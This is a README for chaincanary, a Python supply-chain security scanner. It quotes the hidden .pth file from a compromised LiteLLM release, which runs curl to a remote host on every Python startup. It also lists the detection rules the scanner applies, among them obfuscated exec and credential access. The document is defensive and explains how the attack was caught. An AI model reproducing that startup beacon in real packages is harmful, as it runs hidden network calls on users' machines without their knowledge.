chaincanary 0.1.5

Security scanner for Python packages — detects supply chain attacks before they execute

🛡️ chaincanary

Stop malicious Python packages before they execute.

The only tool that detected LiteLLM 1.82.7 as MALICIOUS — before any advisory was published. No account. No GitHub App. Nothing leaves your machine.

---

What happened

On March 24, 2026, LiteLLM 1.82.7 was published to PyPI with a hidden .pth file:

# litellm_init.pth — executes on every Python startup
import subprocess, sys
subprocess.Popen(
    ['curl', '-s', 'https://models.litellm.cloud/beacon', '-d', sys.version],
    stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL
)

This file runs every time you start Python — not just during pip install. It was downloaded ~95 million times per month. The package was flagged and removed, but not before significant exposure.

chaincanary was built to catch this.

---

Quick demo

pip install chaincanary

# Scan LiteLLM 1.82.7 (the compromised version)
chaincanary check litellm 1.82.7

🔍 chaincanary — Analyzing litellm==1.82.7

╭────────────┬──────────────────────────────┬──────────────────────────────────────╮
│ Severity   │ Rule                         │ Title                                │
├────────────┼──────────────────────────────┼──────────────────────────────────────┤
│ CRITICAL   │ PTH_FILE_INSTALL             │ .pth file installs dangerous code... │
│ CRITICAL   │ PTH_NETWORK_BEACON           │ phone-home on every Python startup   │
│ CRITICAL   │ PTH_SUBPROCESS               │ subprocess on every Python startup   │
╰────────────┴──────────────────────────────┴──────────────────────────────────────╯

  Score: 10.0 / 10.0
  Verdict: ██ MALICIOUS

  Rollback: pip install litellm==1.82.6

---

Install

pip install chaincanary

Requires Python 3.9+. No Docker. No root. Works on Linux, macOS, Windows.

---

Usage

Scan a single package

chaincanary check requests 2.28.0
chaincanary check litellm latest

Audit your entire project

chaincanary audit requirements.txt
chaincanary audit pyproject.toml

Output:

🔍 chaincanary audit — requirements.txt (42 packages)

Scanning packages... ████████████████████████ 100%

╭──────────────────┬─────────┬───────┬──────────╮
│ Package          │ Version │ Score │ Verdict  │
├──────────────────┼─────────┼───────┼──────────┤
│ litellm          │ 1.82.7  │ 10.0  │ MALICIOUS│
│ suspicious-lib   │ 0.3.1   │  7.5  │ HIGH_RISK│
│ requests         │ 2.28.0  │  0.0  │ SAFE     │
│ ...              │ ...     │  0.0  │ SAFE     │
╰──────────────────┴─────────┴───────┴──────────╯

✗ 2 package(s) failed the audit.

Compare two versions

chaincanary diff litellm 1.82.6 1.82.7

Version diff: litellm 1.82.6 → 1.82.7

  Added files:  litellm_init.pth   ← NEW .pth file
  Removed:      (none)
  [CRITICAL] New .pth file with network beacon

Safe install

# Scans before installing, blocks if malicious
chaincanary install litellm==1.82.7

Recommended workflow

Use chaincanary install for individual packages and chaincanary audit in CI. Aliasing pip to chaincanary is not recommended — it changes timing expectations (chaincanary downloads + scans before installing) and may break flags like -e . or -r.

# Individual package — scan then install
chaincanary install requests==2.32.0

# CI — scan all dependencies before deployment
chaincanary audit requirements.txt --fail-on HIGH_RISK

JSON output (for pipelines)

chaincanary check litellm 1.82.7 --json-output | jq '.verdict'
# "MALICIOUS"

chaincanary audit requirements.txt --json-output \
  | jq '.results[] | select(.verdict != "SAFE")'

---

GitHub Action

Add to any repo to block malicious packages on every push:

# .github/workflows/security.yml
name: Supply Chain Security

on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Scan dependencies for supply chain attacks
        uses: allenenli/chaincanary@v0.1.0
        with:
          requirements: requirements.txt
          fail-on: MALICIOUS   # or HIGH_RISK for stricter mode

That's it. The action will fail your build if any package matches a known attack pattern.

---

The .pth problem — and why every other tool missed it

A .pth file in Python's site-packages runs on every Python startup, not just during pip install. No other scanner understands this distinction.

chaincanary is the only tool with a semantic .pth classifier — it doesn't just flag .pth files blindly. It understands what they actually do:

.pth content	Classification	Finding
Empty	Normal	✓ silent
/usr/local/lib/...	Path-only	✓ silent
setuptools distutils shim	Safe code	⚠ LOW
subprocess.Popen(['curl', ...])	Dangerous	🔴 CRITICAL

This is why LiteLLM 1.82.7 was flagged as MALICIOUS while every other tool passed it clean.

---

What chaincanary detects

Beyond .pth — other attack vectors

What	Where	Severity
Network call during pip install	setup.py	HIGH
Shell command during pip install	setup.py	HIGH
exec(base64.decode(...)) obfuscation	anywhere	HIGH
Network call on every import	__init__.py	MEDIUM
SSH / AWS credentials access	anywhere	HIGH
Path traversal in wheel zip	.whl structure	CRITICAL
Known malicious SHA256 hash	.whl file	CRITICAL

What chaincanary does NOT do

• Does not install packages
• Does not execute any package code
• Does not require Docker or privileged access
• Does not send package contents to any server
• Does not replace pip — it scans before you decide to install

---

How it works

pip install request      ← your intent
      ↓
chaincanary                 ← intercepts
      ↓
Download wheel (no install, no execute)
      ↓
Static analysis:
  - Zip safety (path traversal, zip bomb)
  - .pth file semantic classifier
  - AST analysis of setup.py / install hooks
  - Obfuscation detection
  - __init__.py delayed-trigger scan
  - SHA256 hash database
      ↓
Score 0–10 → Verdict: SAFE / LOW_RISK / HIGH_RISK / MALICIOUS
      ↓
Block or proceed

No sandboxing, no Docker, no kernel modules. Pure Python static analysis that runs in seconds.

---

Comparison

Tool	.pth semantic analysis	No account needed	Local-only (no data upload)	Offline capable	Open source
chaincanary	✅ 4-category classifier	✅	✅	✅	✅
socket.dev	❌	❌ requires GitHub App	❌ uploads your repo	❌	❌ SaaS
pip-audit	❌	✅	✅	partial	✅
Safety	❌	❌ requires account	✅	❌	partial
Trivy	❌	✅	✅	✅	✅
Bandit	❌ (SAST only)	✅	✅	✅	✅

chaincanary is the only tool with .pth semantic analysis. Every other tool would have passed LiteLLM 1.82.7 as clean.

---

Why not socket.dev?

socket.dev is a great product — but it's built for a different threat model:

	chaincanary	socket.dev
Setup	pip install chaincanary	Install GitHub App + create account
Data privacy	Nothing leaves your machine	Your repo metadata is sent to their servers
.pth detection	✅ Semantic 4-category classifier	❌ Not detected
Works offline	✅	❌
Cost	Free, open source	Paid (beyond free tier)
Use case	Pre-install scan, CI audit	Continuous repo monitoring

The bottom line: socket.dev would have passed LiteLLM 1.82.7 as clean. chaincanary catches the .pth pattern — because it's the only tool that understands what .pth files do.

chaincanary is not a CVE scanner — use it alongside pip-audit or Safety for advisory DB coverage. It's a behavioral scanner: it looks at what a package does, not just whether it appears on a known-bad list.

---

Known Limitations

chaincanary is a static behavioral scanner, not a magic bullet. Know its blind spots:

Gap	What it means	Workaround
No C extension analysis	Malicious .so/.pyd files aren't scanned	Sandbox (v0.3)
No CVE database	Won't catch known vulnerabilities	Use alongside pip-audit
No dynamic sandbox	Side-effects on import not executed	Static signals only (for now)
Multi-stage payloads	Pkg that downloads payload at runtime looks clean	Network monitoring (v0.3)
Private registries	Can't download from non-public PyPI mirrors	--offline flag (v0.2)

→ Full limitation table: ROADMAP.md#known-limitations

---

Roadmap

Version	Theme	ETA
post-0.1	Scoring fixes, DNS exfil, typosquatting, git deps	✅ done
v0.2	Hash feed, SARIF output, --timeout, pre-commit hook	soon
v0.3	Lightweight sandbox, package reputation, npm/cargo	later

→ Full plan: ROADMAP.md

---

Contributing

git clone https://github.com/allenenli/chaincanary
cd chaincanary
pip install -e ".[dev]"
pytest tests/

PRs welcome — especially:

• New malicious hash signatures
• Detection rules for new attack patterns
• False positive reports (real packages that chaincanary misflags)

---

License

Apache 2.0. See LICENSE.

---

Built after the LiteLLM supply chain attack, March 2026.